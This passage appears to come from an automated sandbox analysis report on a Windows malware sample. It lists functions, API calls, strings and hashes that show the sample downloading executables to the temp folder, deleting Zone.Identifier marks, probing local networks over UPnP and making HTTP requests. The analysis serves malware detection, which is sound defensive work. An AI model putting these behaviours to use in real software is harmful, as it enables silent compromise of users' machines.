rand.MSVCRT ref: 0040F216
wsprintfW.USER32 ref: 0040F23D
DeleteUrlCacheEntryW.WININET(?), ref: 0040F24D
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F267
wsprintfW.USER32 ref: 0040F287
DeleteFileW.KERNEL32(?), ref: 0040F297
Sleep.KERNEL32(000003E8), ref: 0040F2A2
Sleep.KERNEL32(000007D0), ref: 0040F2C3
ExitProcess.KERNEL32 ref: 0040F2EA
DeleteFileW.KERNEL32(?), ref: 0040F2F9

Strings

%s:Zone.Identifier, xrefs: 0040F118
%s\%d%d.exe, xrefs: 0040F231
%s\%d%d.exe, xrefs: 0040F018
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040F035
%s:Zone.Identifier, xrefs: 0040F27B
%temp%, xrefs: 0040EFBB

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$ExitOpenProcess$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 3526668077-2417596247
Opcode ID: 9d19446c57baec265813862518ad0f12c05837928c3285fbca672de22a95f4da
Instruction ID: 8d9dde5e83d6f5576f0fa95dcda068e4d807ca32b5c879c9ce831b2193034ea7
Opcode Fuzzy Hash: 9d19446c57baec265813862518ad0f12c05837928c3285fbca672de22a95f4da
Instruction Fuzzy Hash: 7D91EBB5940318ABE720DB50DC49FEA3379AF88701F0485B9F609A51C1DABD9AC8CF59

Function 0040B350 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B280: gethostname.WS2_32(?,00000100), ref: 0040B29C
Part of subcall function 0040B280: gethostbyname.WS2_32(?), ref: 0040B2AE

strcmp.NTDLL ref: 0040B380

Strings

0.0.0.0, xrefs: 0040B36E
.192, xrefs: 0040B40E
.127., xrefs: 0040B3CD
10., xrefs: 0040B44F
127., xrefs: 0040B391
.10., xrefs: 0040B48B
.192., xrefs: 0040B42C
.127, xrefs: 0040B3AF
192., xrefs: 0040B3F0
.10, xrefs: 0040B46D

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 0f5039163e3a60cdc16b03ecb7c0134fb67bf6b75b9fd7ee3961c739777e0be2
Instruction ID: 1e2a78016ab808788e4a3d10fbde234ca2a84306dd4339bbdfb36d09265cce6e
Opcode Fuzzy Hash: 0f5039163e3a60cdc16b03ecb7c0134fb67bf6b75b9fd7ee3961c739777e0be2
Instruction Fuzzy Hash: C76171B5940305A7DB00AB61EC46BAA3765AB10318F18847AFC05673C2F77DE664C6DF

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction ID: 2c6eba30162642fa916e9f7e0fa03190df933f3dd928bdc23040f585d31ac0f6
Opcode Fuzzy Hash: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction Fuzzy Hash: 9E41F671600300ABCB209F74DC8CB9B77A9AF44720F14463DF995A72E1DB78E881CB99

Function 0040E9A0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E9C8
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EA18
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EA2B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040EA64
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040EA9A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040EAC5
HttpSendRequestA.WININET(00000000,00411FA0,000000FF,00009E34), ref: 0040EAEF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040EB2E
memcpy.NTDLL(00000000,?,00000000), ref: 0040EB80
InternetCloseHandle.WININET(00000000), ref: 0040EBB1
InternetCloseHandle.WININET(00000000), ref: 0040EBBE
InternetCloseHandle.WININET(00000000), ref: 0040EBCB

Strings

Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EA26
<, xrefs: 0040E9D0
POST, xrefs: 0040EA8E

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction ID: 65d8e98dfcdbd5221f12c344ddab433f9c0af5994e8cd23f0dde2b718a24ef5d
Opcode Fuzzy Hash: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction Fuzzy Hash: 91512EB5901228ABDB26CF54CC54FE9B3BCAB48705F1485E9B60DA6280D7B86FC4CF54

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

ilci, xrefs: 00401630
PCOI, xrefs: 0040160D

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: fdb9d9f1c1081d3bac4efd2c1ea591fdf2f72c624c4a3d2a847f061e6529de26
Instruction ID: 4aeae16d9e67a94d8ff1aa5cc2109be900ec35187bf01e7539301e61904878f7
Opcode Fuzzy Hash: fdb9d9f1c1081d3bac4efd2c1ea591fdf2f72c624c4a3d2a847f061e6529de26
Instruction Fuzzy Hash: FA319475900705ABC7209F70EC48B97B7A8BF08300F048A3AF559A3691C77AF894CB98

Function 00405820 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405838
GetModuleHandleW.KERNEL32(00000000), ref: 00405850
Sleep.KERNEL32(00000001), ref: 00405864
GetTickCount.KERNEL32 ref: 0040586A
GetTickCount.KERNEL32 ref: 00405873
wsprintfW.USER32 ref: 00405886
RegisterClassExW.USER32(00000030), ref: 00405893
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 004058BC
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004058D7
TranslateMessage.USER32(?), ref: 004058E5
DispatchMessageA.USER32(?), ref: 004058EF
ExitThread.KERNEL32 ref: 00405901

Strings

0, xrefs: 00405840
%x%X, xrefs: 0040587A

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction ID: f3e1014eb48ffaf448ebc99f6ba60d6258e7c56012e586919e9efecad1237f6d
Opcode Fuzzy Hash: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction Fuzzy Hash: BB211A71940308BBEB10ABA0DC49FEE7B78EB04711F108439F606BA1D0DBB995948F69

Function 0040E070 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E098
InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E22A
InternetCloseHandle.WININET(00000000), ref: 0040E267
InternetCloseHandle.WININET(00000000), ref: 0040E274
InternetCloseHandle.WININET(00000000), ref: 0040E281

Strings

<, xrefs: 0040E0A0
GET, xrefs: 0040E15B

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction ID: 8a187a806069c9ef74607f7bf39df95f2c1829c28a5b92bcc4b0b83bf30a7a56
Opcode Fuzzy Hash: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction Fuzzy Hash: 16512DB1941228ABDB36CB50CC55BE9B3BCAB48705F1444E9F60DAA2C0D7B96BC4CF54

Function 0040EC70 Relevance: 16.6, APIs: 11, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040ECA2
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040ECC3
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040ECE2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ECFB
memcmp.NTDLL ref: 0040ED8D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040EDB0
CloseHandle.KERNEL32(00000000), ref: 0040EDBA
CloseHandle.KERNEL32(000000FF), ref: 0040EDC4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EDE3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040EE08
CloseHandle.KERNEL32(000000FF), ref: 0040EE12

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 643dd6457151afb767136b96de088e300be71ca2aa9c529637807d59cb8df3e5
Instruction ID: 32b63ebe374edb734f10ceafdcfe6a9e739b08b32ae31a868bafe8a6799fa03f
Opcode Fuzzy Hash: 643dd6457151afb767136b96de088e300be71ca2aa9c529637807d59cb8df3e5
Instruction Fuzzy Hash: 20514EB4E40209FBDB14DFA4CC49BDEB774AB48704F108569E611B72C0D7B9AA40CB98

Function 0040D780 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040D786
GetThreadPriority.KERNEL32(00000000,?,?,?,00407F75,?,000000FF), ref: 0040D78D
GetCurrentThread.KERNEL32 ref: 0040D798
SetThreadPriority.KERNEL32(00000000,?,?,?,00407F75,?,000000FF), ref: 0040D79F
InterlockedExchangeAdd.KERNEL32(00407F75,00000000), ref: 0040D7C2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D7F7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D842
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D85E
Sleep.KERNEL32(00000001), ref: 0040D88E
GetCurrentThread.KERNEL32 ref: 0040D89D
SetThreadPriority.KERNEL32(00000000,?,?,?,00407F75), ref: 0040D8A4

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction ID: 6fb5641eb3e61aabfeb8d94b6f23565c140e371fca94fd76c4ad34d85bd1d77f
Opcode Fuzzy Hash: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction Fuzzy Hash: 32414C75E00209EBCB04EFE4D848BAEBB71EF44305F10C16AE916A7384D6789A85CF55

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction ID: 68686fb6eff55c499ad5be399ae1fa7ea08460e57826cc3027d59358e60976cc
Opcode Fuzzy Hash: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction Fuzzy Hash: 34519E75608B02ABC704DF39D488B9BFBE4BF88314F44872EF89983360D775A5458B96

Function 0040DD40 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Sleep.KERNEL32(000003E8), ref: 0040DD9E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

LOCATION: , xrefs: 0040DDC5
HTTP/1.1 200 OK, xrefs: 0040DDAF

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction ID: 7b96b2f8d6d36e055c6c7570a615b3eea8bd5cb55d36e980e60cabbeadb8daeb
Opcode Fuzzy Hash: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction Fuzzy Hash: 78216FB5940218ABDB20DB64DC49BE97774AF04308F1085E9E709BB2D0D6B95AC6CF9C

Function 0040EEE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EEF7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EF16
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040EF3F
InternetCloseHandle.WININET(00000000), ref: 0040EF68
InternetCloseHandle.WININET(00000000), ref: 0040EF72
Sleep.KERNEL32(000003E8), ref: 0040EF7D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040EEF2

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 2743515581-2272513262
Opcode ID: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction ID: 09246262baac8142bf73057cdf9805b9640511cbdee0a0d8a20d2e1b7007a2ac
Opcode Fuzzy Hash: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction Fuzzy Hash: 6A210A75A40309FBDB10DFA4CC49FEEB775AB08705F1085A9FA11AB2C0C7B96A44CB59

Function 0040B770 Relevance: 12.1, APIs: 8, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0041AE68,?,?,?,?,?,?,00407EF9), ref: 0040B77B
CreateFileW.KERNEL32(0041AC50,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B7CD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B7EE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B80D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B822
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B888
CloseHandle.KERNEL32(00000000), ref: 0040B892
CloseHandle.KERNEL32(000000FF), ref: 0040B89C

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID:
API String ID: 439099756-0
Opcode ID: c6295368b3329a36b4d5b539f0c7913c2e24e4bff1a22c952df061e282144c4a
Instruction ID: 479a2d3db74d12cc9ab5db8b9028aebaa0e2ca82416c5c7c2c0831f1d1863687
Opcode Fuzzy Hash: c6295368b3329a36b4d5b539f0c7913c2e24e4bff1a22c952df061e282144c4a
Instruction Fuzzy Hash: FB417C75E40309ABDB10EFA4CC4ABAEB774EB44704F20842AFA11B72D1C7B96541CB9D

Function 00405B60 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0041A400,?,?,?,?,?,00407EC3), ref: 00405B6B
CreateFileW.KERNEL32(0041A630,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407EC3), ref: 00405B85
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405BC5
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405BDE
UnmapViewOfFile.KERNEL32(00000000), ref: 00405C6B
CloseHandle.KERNEL32(00000000), ref: 00405C75
CloseHandle.KERNEL32(000000FF), ref: 00405C7F

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
